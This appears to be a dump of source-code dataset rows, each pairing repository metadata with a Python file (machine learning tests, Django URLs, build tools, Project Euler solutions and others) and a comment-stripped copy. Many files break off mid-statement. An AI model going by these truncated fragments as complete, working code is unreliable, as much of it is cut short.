from spark_auto_mapper.helpers.value_parser import AutoMapperValueParser
from spark_auto_mapper.type_defini... | true | true |
790b1607e2dbab856491d37aa237082f14588b83 | 2,040 | py | Python | face_detection_cv2.py | HDWilliams/User_Verification_HPE | 753cd5b3a757e228baba56a48fd50a56aea0b485 | [
"MIT"
] | null | null | null | face_detection_cv2.py | HDWilliams/User_Verification_HPE | 753cd5b3a757e228baba56a48fd50a56aea0b485 | [
"MIT"
] | null | null | null | face_detection_cv2.py | HDWilliams/User_Verification_HPE | 753cd5b3a757e228baba56a48fd50a56aea0b485 | [
"MIT"
] | null | null | null | import cv2
import pose_detection as pose_d
pose_model = pose_d.load_pose_model('pre_trained\AFLW2000.pkl')
def detect_face(img_PATH, model_PATH):
# Load the cascade
face_cascade = cv2.CascadeClassifier(model_PATH)
# Read the input image
img = cv2.imread(img_PATH)
# Convert into grayscale
gray = cv2.cvtCo... | 31.875 | 103 | 0.645588 | import cv2
import pose_detection as pose_d
pose_model = pose_d.load_pose_model('pre_trained\AFLW2000.pkl')
def detect_face(img_PATH, model_PATH):
face_cascade = cv2.CascadeClassifier(model_PATH)
img = cv2.imread(img_PATH)
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMult... | true | true |
790b1681efe2d5bb5b44069894dfe0b461c9f34f | 753 | py | Python | database/task_class/annotation.py | cozy9/Metascape | 261901657bef5e1060f1ae86a2a3913d1e4c87c4 | [
"Apache-2.0"
] | 2 | 2021-08-01T19:33:44.000Z | 2022-02-14T16:37:34.000Z | database/task_class/annotation.py | data2code/Metascape | 261901657bef5e1060f1ae86a2a3913d1e4c87c4 | [
"Apache-2.0"
] | null | null | null | database/task_class/annotation.py | data2code/Metascape | 261901657bef5e1060f1ae86a2a3913d1e4c87c4 | [
"Apache-2.0"
] | 1 | 2019-05-22T12:44:34.000Z | 2019-05-22T12:44:34.000Z | #!/usr/bin/env python
#from .core import *
import numpy as np
import pandas as pd
import shutil
import urllib
import urlparse
from os.path import splitext, basename
import os
from os import sys, path
from pprint import pprint
import StringIO
import db
from gp import *
from core import *
from IPython.core.debugger impor... | 25.965517 | 115 | 0.759628 |
import numpy as np
import pandas as pd
import shutil
import urllib
import urlparse
from os.path import splitext, basename
import os
from os import sys, path
from pprint import pprint
import StringIO
import db
from gp import *
from core import *
from IPython.core.debugger import Tracer
class Annotation(UploadCsvConve... | true | true |
790b171ce026ef2d18e83d1683d9e31e7e375328 | 10,338 | py | Python | research/object_detection/builders/calibration_builder_test.py | zhaowt96/models | 03182253673b0e2666ad9a33839759834c0acebd | [
"Apache-2.0"
] | null | null | null | research/object_detection/builders/calibration_builder_test.py | zhaowt96/models | 03182253673b0e2666ad9a33839759834c0acebd | [
"Apache-2.0"
] | null | null | null | research/object_detection/builders/calibration_builder_test.py | zhaowt96/models | 03182253673b0e2666ad9a33839759834c0acebd | [
"Apache-2.0"
] | null | null | null | # Lint as: python2, python3
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
... | 44.179487 | 80 | 0.667054 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
from scipy import interpolate
from six.moves import zip
import tensorflow as tf
from object_detection.builders import calibration_builder
from object_detection.protos import c... | true | true |
790b173432bf26c0008a0f7d958ea9da6255f9ea | 814 | py | Python | src/dcos_e2e_cli/common/credentials.py | jongiddy/dcos-e2e | b52ef9a1097a8fb328902064345cc6c8b0bf5779 | [
"Apache-2.0"
] | 63 | 2018-05-17T21:02:14.000Z | 2021-11-15T19:18:03.000Z | src/dcos_e2e_cli/common/credentials.py | jongiddy/dcos-e2e | b52ef9a1097a8fb328902064345cc6c8b0bf5779 | [
"Apache-2.0"
] | 225 | 2017-09-08T02:24:58.000Z | 2018-05-16T12:18:58.000Z | src/dcos_e2e_cli/common/credentials.py | jongiddy/dcos-e2e | b52ef9a1097a8fb328902064345cc6c8b0bf5779 | [
"Apache-2.0"
] | 21 | 2018-06-14T21:58:24.000Z | 2021-11-15T19:18:06.000Z | """
Credentials used when making CLIs.
"""
from pathlib import Path
from dcos_e2e.cluster import Cluster
DEFAULT_SUPERUSER_USERNAME = 'bootstrapuser'
DEFAULT_SUPERUSER_PASSWORD = 'deleteme'
def add_authorized_key(cluster: Cluster, public_key_path: Path) -> None:
"""
Add an authorized key to all nodes in th... | 22 | 72 | 0.540541 |
from pathlib import Path
from dcos_e2e.cluster import Cluster
DEFAULT_SUPERUSER_USERNAME = 'bootstrapuser'
DEFAULT_SUPERUSER_PASSWORD = 'deleteme'
def add_authorized_key(cluster: Cluster, public_key_path: Path) -> None:
nodes = {
*cluster.masters,
*cluster.agents,
*cluster.public_agents... | true | true |
790b1759dac2822a565da21263cc32769cb33853 | 2,698 | py | Python | Exode/UI/polarGraph.py | RenatoTorres/Exode | fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a | [
"Apache-2.0"
] | null | null | null | Exode/UI/polarGraph.py | RenatoTorres/Exode | fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a | [
"Apache-2.0"
] | 1 | 2018-08-09T23:45:01.000Z | 2018-08-09T23:45:01.000Z | Exode/UI/polarGraph.py | RenatoTorres/Exode | fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a | [
"Apache-2.0"
] | null | null | null | from kivy.lang import Builder
from kivy.uix.widget import Widget
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.gridlayout import GridLayout
from kivy.graphics import *
from kivy.graphics.texture import Texture
from kivy.properties import ListProperty
from .gardenGraph import Plot
from .ExdLabel import *
i... | 31.372093 | 95 | 0.569311 | from kivy.lang import Builder
from kivy.uix.widget import Widget
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.gridlayout import GridLayout
from kivy.graphics import *
from kivy.graphics.texture import Texture
from kivy.properties import ListProperty
from .gardenGraph import Plot
from .ExdLabel import *
i... | true | true |
790b17823832d542e9f2d0aff12b5b79aa574df5 | 684 | py | Python | wouso/interface/apps/files/cpanel_urls.py | AlexandruGhergut/wouso | f26244ff58ae626808ae8c58ccc93d21f9f2666f | [
"Apache-2.0"
] | 117 | 2015-01-02T18:07:33.000Z | 2021-01-06T22:36:25.000Z | wouso/interface/apps/files/cpanel_urls.py | AlexandruGhergut/wouso | f26244ff58ae626808ae8c58ccc93d21f9f2666f | [
"Apache-2.0"
] | 229 | 2015-01-12T07:07:58.000Z | 2019-10-12T08:27:01.000Z | wouso/interface/apps/files/cpanel_urls.py | AlexandruGhergut/wouso | f26244ff58ae626808ae8c58ccc93d21f9f2666f | [
"Apache-2.0"
] | 96 | 2015-01-07T05:26:09.000Z | 2020-06-25T07:28:51.000Z | from django.conf.urls import patterns, url
urlpatterns = patterns('wouso.interface.apps.files.cpanel_views',
url(r'^$', 'files', name='files'),
url(r'^add_file/$', 'add_file', name='add_file'),
url(r'^edit_file/(?P<pk>\d+)/$', 'edit_file', name='edit_file'),
url(r'^delete_file/(?P<pk>\d+)/$', 'delete_f... | 52.615385 | 91 | 0.663743 | from django.conf.urls import patterns, url
urlpatterns = patterns('wouso.interface.apps.files.cpanel_views',
url(r'^$', 'files', name='files'),
url(r'^add_file/$', 'add_file', name='add_file'),
url(r'^edit_file/(?P<pk>\d+)/$', 'edit_file', name='edit_file'),
url(r'^delete_file/(?P<pk>\d+)/$', 'delete_f... | true | true |
790b182fac02f2f5d7712f5ef02a0852c6baebfa | 1,162 | py | Python | ajax/urls.py | joestump/django-ajax | b71619d5c00d8e0bb990ddbea2c93cf303dc2c80 | [
"BSD-3-Clause"
] | 62 | 2015-01-09T23:02:06.000Z | 2020-12-27T19:44:58.000Z | ajax/urls.py | joestump/django-ajax | b71619d5c00d8e0bb990ddbea2c93cf303dc2c80 | [
"BSD-3-Clause"
] | 7 | 2015-03-26T21:52:54.000Z | 2016-06-20T20:53:43.000Z | ajax/urls.py | joestump/django-ajax | b71619d5c00d8e0bb990ddbea2c93cf303dc2c80 | [
"BSD-3-Clause"
] | 12 | 2015-02-23T11:58:44.000Z | 2020-10-26T22:32:58.000Z | from __future__ import absolute_import
from django.conf.urls import *
from django.views.static import serve
from ajax import views
import django
import os
JAVASCRIPT_PATH = "%s/js" % os.path.dirname(__file__)
if django.VERSION < (1, 8):
urlpatterns = patterns('ajax.views',
(r'^(?P<application>\w+)/(?P<mod... | 44.692308 | 163 | 0.598967 | from __future__ import absolute_import
from django.conf.urls import *
from django.views.static import serve
from ajax import views
import django
import os
JAVASCRIPT_PATH = "%s/js" % os.path.dirname(__file__)
if django.VERSION < (1, 8):
urlpatterns = patterns('ajax.views',
(r'^(?P<application>\w+)/(?P<mod... | true | true |
790b18c838d2e1ac885c3773cd7a0f20395937c4 | 30,641 | py | Python | torch/distributed/_sharded_tensor/api.py | steffenerickson/pytorch | 0b656c4c69ce77ecd9aace486e471917e4660746 | [
"Intel"
] | 1 | 2022-02-13T15:29:24.000Z | 2022-02-13T15:29:24.000Z | torch/distributed/_sharded_tensor/api.py | steffenerickson/pytorch | 0b656c4c69ce77ecd9aace486e471917e4660746 | [
"Intel"
] | null | null | null | torch/distributed/_sharded_tensor/api.py | steffenerickson/pytorch | 0b656c4c69ce77ecd9aace486e471917e4660746 | [
"Intel"
] | null | null | null | from dataclasses import dataclass, field
from enum import Enum
from typing import (
Callable,
Dict,
List,
Optional,
Union
)
import weakref
import threading
import torch
import torch.distributed as dist
from torch.distributed import rpc
from torch.distributed import distributed_c10d
from torch.distr... | 40.637931 | 126 | 0.649163 | from dataclasses import dataclass, field
from enum import Enum
from typing import (
Callable,
Dict,
List,
Optional,
Union
)
import weakref
import threading
import torch
import torch.distributed as dist
from torch.distributed import rpc
from torch.distributed import distributed_c10d
from torch.distr... | true | true |
790b18f3fdca6c5f67de99d45ef9ca4dc84801f2 | 5,544 | py | Python | mscreen/autodocktools_prepare_py3k/AutoDockTools/Utilities24/rotate_molecule.py | e-mayo/mscreen | a50f0b2f7104007c730baa51b4ec65c891008c47 | [
"MIT"
] | 9 | 2021-03-06T04:24:28.000Z | 2022-01-03T09:53:07.000Z | AutoDockTools/Utilities24/rotate_molecule.py | e-mayo/autodocktools-prepare-py3k | 2dd2316837bcb7c19384294443b2855e5ccd3e01 | [
"BSD-3-Clause"
] | 3 | 2021-03-07T05:37:16.000Z | 2021-09-19T15:06:54.000Z | AutoDockTools/Utilities24/rotate_molecule.py | e-mayo/autodocktools-prepare-py3k | 2dd2316837bcb7c19384294443b2855e5ccd3e01 | [
"BSD-3-Clause"
] | 4 | 2019-08-28T23:11:39.000Z | 2021-11-27T08:43:36.000Z | #!/usr/bin/env python
#$Id: rotate_molecule.py,v 1.2.10.1 2016/02/11 09:24:08 annao Exp $
import os
from MolKit import Read
from MolKit.pdbWriter import PdbWriter, PdbqsWriter, PdbqWriter, PdbqtWriter
from mglutil.math.rotax import rotax
import numpy
if __name__ == '__main__':
import sys
import getopt
... | 33.6 | 82 | 0.537879 |
import os
from MolKit import Read
from MolKit.pdbWriter import PdbWriter, PdbqsWriter, PdbqWriter, PdbqtWriter
from mglutil.math.rotax import rotax
import numpy
if __name__ == '__main__':
import sys
import getopt
def usage():
print("Usage: rotate_molecule.py -f filename")
print()
... | true | true |
790b18f6734a0e743f09e074c7c58ce541977cf8 | 10,660 | py | Python | services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py | FlexiGroBots-H2020/datacube-config | 8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91 | [
"Apache-2.0"
] | null | null | null | services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py | FlexiGroBots-H2020/datacube-config | 8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91 | [
"Apache-2.0"
] | null | null | null | services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py | FlexiGroBots-H2020/datacube-config | 8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91 | [
"Apache-2.0"
] | null | null | null | from ows_refactored.common.ows_reslim_cfg import reslim_landsat
bands_ls5_st = {
"ST_B6": ["st"],
"ST_QA": ["st_qa"],
"QA_PIXEL": ["pq"]
}
bands_ls7_st = {
"ST_B6": ["st"],
"ST_QA": ["st_qa"],
"QA_PIXEL": ["pq"]
}
bands_ls8_st = {
"ST_B10": ["st"],
"ST_QA": ["st_qa"],
"QA_PIXEL": ["... | 40.075188 | 390 | 0.621764 | from ows_refactored.common.ows_reslim_cfg import reslim_landsat
bands_ls5_st = {
"ST_B6": ["st"],
"ST_QA": ["st_qa"],
"QA_PIXEL": ["pq"]
}
bands_ls7_st = {
"ST_B6": ["st"],
"ST_QA": ["st_qa"],
"QA_PIXEL": ["pq"]
}
bands_ls8_st = {
"ST_B10": ["st"],
"ST_QA": ["st_qa"],
"QA_PIXEL": ["... | true | true |
790b1a9e45cc381969fa85f3a9d96924b9186a1b | 5,640 | py | Python | src/metarl/tf/policies/categorical_mlp_policy.py | icml2020submission6857/metarl | 9b66cefa2b6bcb6a38096d629ce8853b47c7171d | [
"MIT"
] | 2 | 2020-03-15T14:35:15.000Z | 2021-02-15T16:38:00.000Z | src/metarl/tf/policies/categorical_mlp_policy.py | icml2020submission6857/metarl | 9b66cefa2b6bcb6a38096d629ce8853b47c7171d | [
"MIT"
] | null | null | null | src/metarl/tf/policies/categorical_mlp_policy.py | icml2020submission6857/metarl | 9b66cefa2b6bcb6a38096d629ce8853b47c7171d | [
"MIT"
] | 1 | 2020-02-24T03:04:23.000Z | 2020-02-24T03:04:23.000Z | """CategoricalMLPPolicy."""
import akro
import tensorflow as tf
from metarl.tf.distributions import Categorical
from metarl.tf.models import MLPModel
from metarl.tf.policies import StochasticPolicy
class CategoricalMLPPolicy(StochasticPolicy):
"""CategoricalMLPPolicy
A policy that contains a MLP to make pre... | 39.71831 | 78 | 0.623227 | import akro
import tensorflow as tf
from metarl.tf.distributions import Categorical
from metarl.tf.models import MLPModel
from metarl.tf.policies import StochasticPolicy
class CategoricalMLPPolicy(StochasticPolicy):
def __init__(self,
env_spec,
name='CategoricalMLPPolicy',
... | true | true |
790b1bcb65b0002b2304c49056b552d8e13c6713 | 54,457 | py | Python | os-lib/mbed-os/tools/build_api.py | ghsecuritylab/BenchIoT | 4919427d35e578a7ff07ef5e0b4710b6455dd0b9 | [
"Apache-2.0"
] | 22 | 2019-05-03T03:39:09.000Z | 2022-02-26T17:14:15.000Z | os-lib/mbed-os/tools/build_api.py | ghsecuritylab/BenchIoT | 4919427d35e578a7ff07ef5e0b4710b6455dd0b9 | [
"Apache-2.0"
] | 3 | 2019-07-29T19:48:49.000Z | 2022-01-10T07:24:43.000Z | os-lib/mbed-os/tools/build_api.py | ghsecuritylab/BenchIoT | 4919427d35e578a7ff07ef5e0b4710b6455dd0b9 | [
"Apache-2.0"
] | 8 | 2019-05-16T08:02:33.000Z | 2021-08-03T03:41:37.000Z | """
mbed SDK
Copyright (c) 2011-2016 ARM Limited
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in wr... | 38.458333 | 101 | 0.635676 | """
mbed SDK
Copyright (c) 2011-2016 ARM Limited
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in wr... | false | true |
790b1bcd69de3a7ca25a03a56710c8f20a956051 | 1,088 | py | Python | bibli/arquivo/__init__.py | EduardoPessanha/Python | ac248a14288da2dd9c482afea30468c21db5460f | [
"MIT"
] | null | null | null | bibli/arquivo/__init__.py | EduardoPessanha/Python | ac248a14288da2dd9c482afea30468c21db5460f | [
"MIT"
] | 1 | 2021-11-16T16:12:41.000Z | 2021-11-16T16:15:08.000Z | bibli/arquivo/__init__.py | EduardoPessanha/Python | ac248a14288da2dd9c482afea30468c21db5460f | [
"MIT"
] | null | null | null | def testaArq(arq):
"""
-> Verifica se existe o arquivo arq
:arq: Nome do arquivo a ser testado.
:return: retorna True se o arquivo for encontrado,
caso contrário False
"""
try:
a = open(arq)
except FileNotFoundError: # O arquivo não foi encontrado
print('Arquivo não enco... | 21.333333 | 61 | 0.560662 | def testaArq(arq):
try:
a = open(arq)
except FileNotFoundError:
print('Arquivo não encontrado!')
return False
else:
return True
def criaArq(arq=''):
try:
a = open(arq, 'xt')
except FileExistsError:
print(f'ERRO: o arquivo \"{arq}\" já existe!')
... | true | true |
790b1c298f3504e67b502f6aa388aaf3fd5051a2 | 7,862 | py | Python | setup.py | PhilipMay/optuna | 81840c2e08f452bd5ac959afaca0fee006bdb44e | [
"MIT"
] | null | null | null | setup.py | PhilipMay/optuna | 81840c2e08f452bd5ac959afaca0fee006bdb44e | [
"MIT"
] | null | null | null | setup.py | PhilipMay/optuna | 81840c2e08f452bd5ac959afaca0fee006bdb44e | [
"MIT"
] | null | null | null | import os
import sys
from typing import Dict
from typing import List
from typing import Optional
import pkg_resources
from setuptools import find_packages
from setuptools import setup
def get_version() -> str:
version_filepath = os.path.join(os.path.dirname(__file__), "optuna", "version.py")
with open(versi... | 31.574297 | 92 | 0.512338 | import os
import sys
from typing import Dict
from typing import List
from typing import Optional
import pkg_resources
from setuptools import find_packages
from setuptools import setup
def get_version() -> str:
version_filepath = os.path.join(os.path.dirname(__file__), "optuna", "version.py")
with open(versi... | true | true |
790b1cc12df560ef9f4e3ce6bcdbf341f94a9bba | 14,093 | py | Python | tests/testUtils.py | drmaxchen/pyradio | f2e46856425cfb233d29d391199bfb9b85824b06 | [
"BSD-3-Clause"
] | 2 | 2020-09-11T01:04:07.000Z | 2020-09-11T01:35:46.000Z | tests/testUtils.py | drmaxchen/pyradio | f2e46856425cfb233d29d391199bfb9b85824b06 | [
"BSD-3-Clause"
] | null | null | null | tests/testUtils.py | drmaxchen/pyradio | f2e46856425cfb233d29d391199bfb9b85824b06 | [
"BSD-3-Clause"
] | 1 | 2020-09-11T01:04:46.000Z | 2020-09-11T01:04:46.000Z |
import ast
import csv
import logging
import math
import os
from nose_parameterized import parameterized
import numpy
import SimpleITK as sitk
import six
from radiomics import getTestCase, imageoperations
# Get the logger. This is done outside the class, as it is needed by both the class and the custom_name_func
log... | 36.228792 | 122 | 0.67679 |
import ast
import csv
import logging
import math
import os
from nose_parameterized import parameterized
import numpy
import SimpleITK as sitk
import six
from radiomics import getTestCase, imageoperations
logger = logging.getLogger('radiomics.testing')
TEST_CASES = ('brain1', 'brain2', 'breast1', 'lung1', 'lung2'... | true | true |
790b1cc2ae9747fb1d318f5abee1e2f3ba74b24c | 32 | py | Python | hashedml/__init__.py | mtingers/hashedml | e87f25bec719c9cce13552abb15379f6e54e563a | [
"MIT"
] | 1 | 2022-01-09T10:41:42.000Z | 2022-01-09T10:41:42.000Z | hashedml/__init__.py | mtingers/hashedml | e87f25bec719c9cce13552abb15379f6e54e563a | [
"MIT"
] | null | null | null | hashedml/__init__.py | mtingers/hashedml | e87f25bec719c9cce13552abb15379f6e54e563a | [
"MIT"
] | null | null | null | from hashedml.hashedml import *
| 16 | 31 | 0.8125 | from hashedml.hashedml import *
| true | true |
790b1d0ff85b035438d20cac86138e09048cf9f7 | 13,863 | py | Python | dash_charts/utils_app_with_navigation.py | KyleKing/dash_charts | 8e3644505047fa85f3175f5bc55a2421cb0a19ea | [
"Unlicense"
] | 16 | 2020-02-22T00:51:54.000Z | 2022-03-03T21:45:51.000Z | dash_charts/utils_app_with_navigation.py | KyleKing/dash_charts | 8e3644505047fa85f3175f5bc55a2421cb0a19ea | [
"Unlicense"
] | 29 | 2020-06-29T22:14:00.000Z | 2022-03-22T02:10:00.000Z | dash_charts/utils_app_with_navigation.py | KyleKing/dash_charts | 8e3644505047fa85f3175f5bc55a2421cb0a19ea | [
"Unlicense"
] | 1 | 2022-02-03T09:07:07.000Z | 2022-02-03T09:07:07.000Z | """Classes for more complex applications that have tabbed or paged navigation."""
from collections import OrderedDict
from copy import deepcopy
import dash_bootstrap_components as dbc
import dash_core_components as dcc
import dash_html_components as html
from implements import implements
from .utils_app import AppBa... | 34.571072 | 120 | 0.572098 |
from collections import OrderedDict
from copy import deepcopy
import dash_bootstrap_components as dbc
import dash_core_components as dcc
import dash_html_components as html
from implements import implements
from .utils_app import AppBase, AppInterface
TODO_CLIENT_CALLBACK = '''
TODO: Create clientside callbacks dyn... | true | true |
790b1d3cfe2d90ff414474016128db749d607913 | 8,330 | py | Python | nilearn/plotting/tests/test_html_connectome.py | ryanhammonds/nilearn | f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2 | [
"BSD-2-Clause"
] | null | null | null | nilearn/plotting/tests/test_html_connectome.py | ryanhammonds/nilearn | f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2 | [
"BSD-2-Clause"
] | null | null | null | nilearn/plotting/tests/test_html_connectome.py | ryanhammonds/nilearn | f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2 | [
"BSD-2-Clause"
] | 1 | 2017-08-26T08:19:29.000Z | 2017-08-26T08:19:29.000Z | import warnings
import numpy as np
from nilearn.plotting import cm
from nilearn.plotting.js_plotting_utils import decode
from nilearn.plotting import html_connectome
from .test_js_plotting_utils import check_html
def test_prepare_line():
e = np.asarray([0, 1, 2, 3], dtype=int)
n = np.asarray([[0, 1], [0, 2... | 40.436893 | 78 | 0.508283 | import warnings
import numpy as np
from nilearn.plotting import cm
from nilearn.plotting.js_plotting_utils import decode
from nilearn.plotting import html_connectome
from .test_js_plotting_utils import check_html
def test_prepare_line():
e = np.asarray([0, 1, 2, 3], dtype=int)
n = np.asarray([[0, 1], [0, 2... | true | true |
790b20490561ed6c0d10e67739b18f7d99b60936 | 8,760 | py | Python | src/aks-preview/azext_aks_preview/_validators.py | blackchoey/azure-cli-extensions | bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4 | [
"MIT"
] | null | null | null | src/aks-preview/azext_aks_preview/_validators.py | blackchoey/azure-cli-extensions | bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4 | [
"MIT"
] | null | null | null | src/aks-preview/azext_aks_preview/_validators.py | blackchoey/azure-cli-extensions | bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4 | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 45.388601 | 184 | 0.649201 |
import os
import os.path
import re
from math import ceil
from ipaddress import ip_network
from knack.log import get_logger
from azure.cli.core.util import CLIError
import azure.cli.core.keys as keys
logger = get_logger(__name__)
def validate_ssh_key(namespace):
if hasattr(namespace, 'no_ssh_key') and name... | true | true |
790b20caefe2c94a43433ce3db4e17257b12fc27 | 448 | py | Python | Python/14 - Longest Collatz sequence/main.py | Dinoosawruss/project-euler | 9be76ef134671fb0b4e1caa412173770b2edfcfd | [
"MIT"
] | null | null | null | Python/14 - Longest Collatz sequence/main.py | Dinoosawruss/project-euler | 9be76ef134671fb0b4e1caa412173770b2edfcfd | [
"MIT"
] | null | null | null | Python/14 - Longest Collatz sequence/main.py | Dinoosawruss/project-euler | 9be76ef134671fb0b4e1caa412173770b2edfcfd | [
"MIT"
] | null | null | null | steps = 0
c = {}
m = 1
def collatz(n):
global steps
if n in c:
steps += c[n]
return
if n == 1:
return
steps += 1
if n % 2 == 0:
collatz(n/2)
return
collatz(3 * n + 1)
def main(max):
global steps
global m
for i in range(1, max):... | 11.487179 | 27 | 0.419643 | steps = 0
c = {}
m = 1
def collatz(n):
global steps
if n in c:
steps += c[n]
return
if n == 1:
return
steps += 1
if n % 2 == 0:
collatz(n/2)
return
collatz(3 * n + 1)
def main(max):
global steps
global m
for i in range(1, max):... | true | true |
790b20ed7e1c6e50df0dd5e3a47b79b8bfae940b | 1,656 | py | Python | project_euler/solutions/problem_68.py | cryvate/project-euler | 6ed13880d7916c34554559f5f71662a863735eda | [
"MIT"
] | null | null | null | project_euler/solutions/problem_68.py | cryvate/project-euler | 6ed13880d7916c34554559f5f71662a863735eda | [
"MIT"
] | 9 | 2017-02-20T23:41:40.000Z | 2017-04-16T15:36:54.000Z | project_euler/solutions/problem_68.py | cryvate/project-euler | 6ed13880d7916c34554559f5f71662a863735eda | [
"MIT"
] | null | null | null | from typing import List, Generator
def n_gons(partial: List[int], size: int, sums: int=None) -> \
Generator[List[int], None, None]:
length = len(partial)
if length == size * 2:
yield partial
for i in range(1, size * 2 + 1):
if i in partial:
continue
partial.a... | 27.147541 | 75 | 0.504227 | from typing import List, Generator
def n_gons(partial: List[int], size: int, sums: int=None) -> \
Generator[List[int], None, None]:
length = len(partial)
if length == size * 2:
yield partial
for i in range(1, size * 2 + 1):
if i in partial:
continue
partial.a... | true | true |
790b2172f11693a484bd3b9749b5261fd8dd9c4e | 3,190 | py | Python | MetafierV2.py | IkeoluwaStat/QFT | fe36763e90e3601dfab2a78a08962113343efd0c | [
"MIT"
] | 163 | 2017-07-31T23:07:56.000Z | 2022-01-30T03:07:12.000Z | MetafierV2.py | IkeoluwaStat/QFT | fe36763e90e3601dfab2a78a08962113343efd0c | [
"MIT"
] | null | null | null | MetafierV2.py | IkeoluwaStat/QFT | fe36763e90e3601dfab2a78a08962113343efd0c | [
"MIT"
] | 7 | 2017-09-14T16:42:06.000Z | 2022-02-25T15:04:01.000Z | # Metafier V2: writes directly to output.mc
# Uses numpy and memoization to speed up a crap ton & compress data a bit
# ===REQUIRES metatemplate11.mc===
import golly as g
import numpy as np
from shutil import copyfile
#Get the selection
selection = g.getselrect()
if not selection: g.exit("No selection.")
... | 40.379747 | 167 | 0.551097 |
import golly as g
import numpy as np
from shutil import copyfile
selection = g.getselrect()
if not selection: g.exit("No selection.")
cells = g.getcells(selection)
if not cells: g.exit("No pattern in selection")
if len(cells) % 3: cells = cells[:-1]
selw = selection[2]
selh = selection[3]
patte... | true | true |
790b221d069713fd8fd1b1bc68f98ddc02ba0302 | 1,420 | py | Python | Tests/test_CuInsAsmRepos_sm50.py | gxsaccount/CuAssembler | 4542a3ee3fe4788bfd368a337e4c89ee288f0684 | [
"MIT"
] | 100 | 2020-08-03T03:03:02.000Z | 2022-03-23T15:46:58.000Z | Tests/test_CuInsAsmRepos_sm50.py | gxsaccount/CuAssembler | 4542a3ee3fe4788bfd368a337e4c89ee288f0684 | [
"MIT"
] | 6 | 2021-05-17T07:24:05.000Z | 2022-02-08T11:29:44.000Z | Tests/test_CuInsAsmRepos_sm50.py | gxsaccount/CuAssembler | 4542a3ee3fe4788bfd368a337e4c89ee288f0684 | [
"MIT"
] | 25 | 2020-08-03T03:03:15.000Z | 2022-02-24T12:57:40.000Z | # -*- coding: utf-8 -*-
from CuAsm.CuInsAssemblerRepos import CuInsAssemblerRepos
from CuAsm.CuInsFeeder import CuInsFeeder
def constructReposFromFile(sassname, savname=None, arch='sm_75'):
# initialize a feeder with sass
feeder = CuInsFeeder(sassname, arch=arch)
# initialize an empty repos
... | 27.307692 | 70 | 0.672535 |
from CuAsm.CuInsAssemblerRepos import CuInsAssemblerRepos
from CuAsm.CuInsFeeder import CuInsFeeder
def constructReposFromFile(sassname, savname=None, arch='sm_75'):
feeder = CuInsFeeder(sassname, arch=arch)
repos = CuInsAssemblerRepos(arch=arch)
repos.update(feeder)
... | true | true |
790b222ea040908137c4f4b9fa62ce4fe964d3f9 | 5,498 | py | Python | tests/test_integration_workflows_gan.py | Can-Zhao/MONAI | e29ef022b97a4e809dd22d4d208005f541ee061b | [
"Apache-2.0"
] | 3 | 2020-06-22T20:59:14.000Z | 2021-04-09T21:24:45.000Z | tests/test_integration_workflows_gan.py | Borda/MONAI | e0db5a564225a7cb62e7a23df97267019006302f | [
"Apache-2.0"
] | null | null | null | tests/test_integration_workflows_gan.py | Borda/MONAI | e0db5a564225a7cb62e7a23df97267019006302f | [
"Apache-2.0"
] | 1 | 2020-05-27T12:53:58.000Z | 2020-05-27T12:53:58.000Z | # Copyright (c) MONAI Consortium
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, so... | 34.3625 | 115 | 0.684613 |
import logging
import os
import shutil
import sys
import tempfile
import unittest
from glob import glob
import nibabel as nib
import numpy as np
import torch
import monai
from monai.data import create_test_image_2d
from monai.engines import GanTrainer
from monai.engines.utils import GanKeys as Keys
from mo... | true | true |
790b228e8aa5bf49b0e1e3268923018c40afca2b | 753 | py | Python | cwmud/core/commands/info/look.py | whutch/cwmud | bee8b126a5e70edd0593dae9753a6be8d52357cf | [
"MIT"
] | 11 | 2016-03-03T03:56:59.000Z | 2021-11-19T15:38:51.000Z | cwmud/core/commands/info/look.py | whutch/atria | bee8b126a5e70edd0593dae9753a6be8d52357cf | [
"MIT"
] | 26 | 2016-08-31T23:19:45.000Z | 2019-10-19T21:50:33.000Z | cwmud/core/commands/info/look.py | whutch/atria | bee8b126a5e70edd0593dae9753a6be8d52357cf | [
"MIT"
] | 2 | 2016-01-22T21:22:34.000Z | 2016-02-09T06:03:57.000Z | # -*- coding: utf-8 -*-
"""Look command."""
# Part of Clockwork MUD Server (https://github.com/whutch/cwmud)
# :copyright: (c) 2008 - 2017 Will Hutcheson
# :license: MIT (https://github.com/whutch/cwmud/blob/master/LICENSE.txt)
from .. import Command, COMMANDS
from ...characters import CharacterShell
@COMMANDS.regis... | 26.892857 | 73 | 0.640106 |
from .. import Command, COMMANDS
from ...characters import CharacterShell
@COMMANDS.register
class LookCommand(Command):
def _action(self):
char = self.session.char
